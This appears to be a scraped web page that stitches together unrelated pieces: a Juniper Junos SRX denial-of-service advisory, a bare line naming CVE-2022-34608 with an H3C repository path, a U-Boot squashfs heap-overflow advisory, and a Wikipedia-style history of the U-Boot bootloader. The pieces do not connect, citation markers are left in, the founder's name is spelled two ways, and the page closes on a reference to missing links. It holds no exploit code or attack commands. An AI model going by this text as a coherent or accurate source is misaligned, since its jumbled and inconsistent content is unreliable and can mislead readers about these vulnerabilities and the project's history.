A Buffer Overflow vulnerability in the PFE of Juniper Networks Junos OS on SRX series allows an unauthenticated network based attacker to cause a Denial of Service (DoS). The PFE will crash when specific traffic is scanned by Enhanced Web Filtering safe-search feature of UTM (Unified Threat management). Continued receipt of this specific traffic will create a sustained Denial of Service (DoS) condition. This issue affects Juniper Networks Junos OS: 20.2 versions prior to 20.2R3-S4 on SRX Series; 20.3 versions prior to 20.3R3-S3 on SRX Series; 20.4 versions prior to 20.4R3-S3 on SRX Series; 21.1 versions prior to 21.1R3-S1 on SRX Series; 21.2 versions prior to 21.2R2-S2, 21.2R3 on SRX Series; 21.3 versions prior to 21.3R2 on SRX Series; 21.4 versions prior to 21.4R2 on SRX Series. This issue does not affect Juniper Networks Junos OS versions prior to 20.2R1.

CVE-2022-34608: vuln/H3C/7 at main · Darry-lang1/vuln

squashfs filesystem implementation of U-Boot versions from v2020.10-rc2 to v2022.07-rc5 contains a heap-based buffer overflow vulnerability due to a defect in the metadata reading process. Loading a specially crafted squashfs image may lead to a denial-of-service (DoS) condition or arbitrary code execution.

Everything has a beginning. You cannot have a running device with Embedded Linux without a bootloader that initializes the hardware and load and start the OS.

U-Boot (subtitled “the Universal Boot Loader” and often shortened to **U-Boot)**, started by Wolfgang Denx more than 20 years ago,has become a de-facto standard for Embedded Linux Device and not only. It is available for a large number of different computer architectures, including 68k, ARM, Blackfin, MicroBlaze, MIPS, Nios, SuperH, PPC, RISC-V and x86.

The project started as an MPC 8xx PowerPC bootloader . Wolfgang Denk moved the project to SourceForge.net and renamed it to **PPCBoot**, because SF.net did not allow project names starting with digits.\[8\] Version 0.4.1 of PPCBoot was first publicly released July 19, 2000.

In 2002 a previous version of the source code was briefly forked into a product called **ARMBoot**, but was merged back into the PPCBoot project shortly thereafter. On October 31, 2002 **PPCBoot−2.0.0** was released. This marked the last release under the PPCBoot name, as it was renamed to reflect its ability to work on other architectures besides the PPC ISA. PPCBoot−2.0.0 became **U−Boot−0.1.0** in November 2002, expanded to work on the x86 processor architecture. Additional architecture capabilities were added in the following months: MIPS32 in March 2003, MIPS64 in April, Nios II in October, ColdFire in December, and MicroBlaze in April 2004. The May 2004 release of U-Boot-1.1.2 worked on the products of 216 board manufacturers across the various architectures.\[10\]

The current name **Das U-Boot** adds a German definite article, to create a bilingual pun on the classic 1981 German submarine film Das Boot, which takes place on a World War II German U-boat. It is free software released under the terms of the GNU General Public License. It can be built on an x86 PC for any of its intended architectures using a cross development GNU toolchain.

The importance of U-Boot in embedded Linux systems is quite succinctly stated in the book _Building Embedded Linux Systems_, by Karim Yaghmour, whose text about U-Boot begins, “Though there are quite a few other bootloaders, ‘Das U-Boot’, the universal bootloader, is arguably the richest, most flexible, and most actively developed open source bootloader available.”

Here the current documentation for the project and its Source Code.
